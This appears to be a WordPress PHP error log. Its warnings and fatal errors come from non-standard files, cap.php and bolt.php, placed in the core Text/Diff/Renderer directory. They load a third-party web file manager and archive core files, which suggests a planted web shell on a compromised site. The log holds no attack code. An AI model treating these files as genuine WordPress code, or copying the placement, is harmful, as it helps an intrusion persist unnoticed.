[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
